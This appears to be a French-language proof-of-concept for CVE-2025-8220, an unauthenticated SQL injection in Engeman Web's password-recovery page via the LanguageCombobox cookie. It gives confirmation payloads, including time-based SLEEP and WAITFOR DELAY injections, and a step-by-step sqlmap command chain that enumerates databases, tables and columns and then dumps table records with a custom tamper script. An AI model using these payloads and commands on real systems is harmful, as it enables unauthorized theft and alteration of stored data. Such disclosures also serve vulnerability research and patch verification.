
Preuve de concept pour l'exploitation de la vulnérabilité décrite dans CVE-2025-8220, qui concerne la possibilité d'une injection SQL lors du chargement de la page de récupération de mot de passe dans le logiciel Engeman Web.
Preuve de concept pour l'exploitation de la vulnérabilité décrite dans CVE-2025-8220, qui concerne la possibilité d'une injection SQL lors du chargement de la page de récupération de mot de passe dans le logiciel Engeman Web.
Une vulnérabilité permettant la manipulation de la requête SQL effectuée lors du chargement de la page de récupération de mot de passe a été découverte dans le logiciel Engeman Web. Cette vulnérabilité peut être exploitée par des visiteurs sans accès à des identifiants valides, c'est-à-dire de manière non authentifiée, pour compromettre la confidentialité et l'intégrité des données stockées dans la base de données de l'application, ainsi que potentiellement causer un déni de service au niveau du composant en modifiant des valeurs dans des tables critiques.
Après avoir accédé à l'application et être redirigé vers la page de connexion, cliquez sur le bouton pour être redirigé vers la page de récupération de mot de passe.
Vérifiez la requête envoyée par le navigateur pour charger la page de récupération de mot de passe. Vous remarquerez que certains cookies sont présents, notamment le cookie LanguageCombobox, qui est stocké lors de l'accès initial. Le logiciel Burp Suite a été utilisé dans cette démonstration pour visualiser et renvoyer les requêtes du navigateur plus efficacement.

Pour confirmer la vulnérabilité, insérez un guillemet simple comme valeur du cookie mentionné et renvoyez la requête. Une erreur indiquant un guillemet non fermé devrait s'afficher dans la réponse de l'application.
Les résultats de la requête ne sont pas affichés directement sur la page renvoyée, ce qui en fait une exploitation aveugle. Vous pouvez insérer des charges utiles telles que ' AND SLEEP(30)-- - ou '; WAITFOR DELAY '0:0:30'-- pour déduire la base de données sous-jacente.

Une fois l'injection confirmée, un outil automatisé tel que sqlmap peut être utilisé pour extraire la base de données.
Il est important de noter que l'argument --technique doit inclure la valeur SEB afin que les techniques basées sur les requêtes empilées, les erreurs et les comparaisons booléennes soient utilisées. Premièrement, car une exploitation aveugle est nécessaire, et deuxièmement, car l'omission de l'option S dans la valeur de l'argument a empêché sqlmap de trouver le point d'injection dans les bases de données SQL Server.
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch
Différentes techniques d'exploitation possibles seront identifiées via le point d'injection. Ensuite, les informations de la base de données peuvent être récupérées.
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch --dbs

sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman --tables

sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman -T <table> --columns

Pour extraire les enregistrements d'une table à l'aide de sqlmap, il est nécessaire d'utiliser un script de falsification personnalisé (au moins pour les bases de données SQL Server) nommé replace-dbo.py dans ce dépôt. La raison en est que les charges utiles de sqlmap utilisant le format <base>.dbo.<table> pour référencer l'objet table entrent en conflit avec le traitement de l'application. Le script de falsification mentionné le convertit uniquement au format <base>.<table>. Si l'instance d'Engeman Web utilise MySQL ou une autre base de données, ce script ne sera pas nécessaire, ou un autre devra être créé.
Rappelez-vous que l'outil sqlmap nécessite qu'un fichier vide nommé init.py existe dans le répertoire où se trouve le script de falsification pour pouvoir être utilisé, si vous ne l'avez pas placé dans le répertoire de falsification par défaut de votre installation.
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman -T <table> --dump --tamper <fichier-de-falsification>.py
Ce script de falsification causera des conflits s'il est utilisé à n'importe quelle autre étape du processus que lors de l'extraction d'une table spécifique. Par conséquent, ne l'utilisez pas pour obtenir les bases de données (--dbs), les tables (--tables), les colonnes (--columns) ou des informations supplémentaires telles que l'utilisateur de la base de données (--current-user).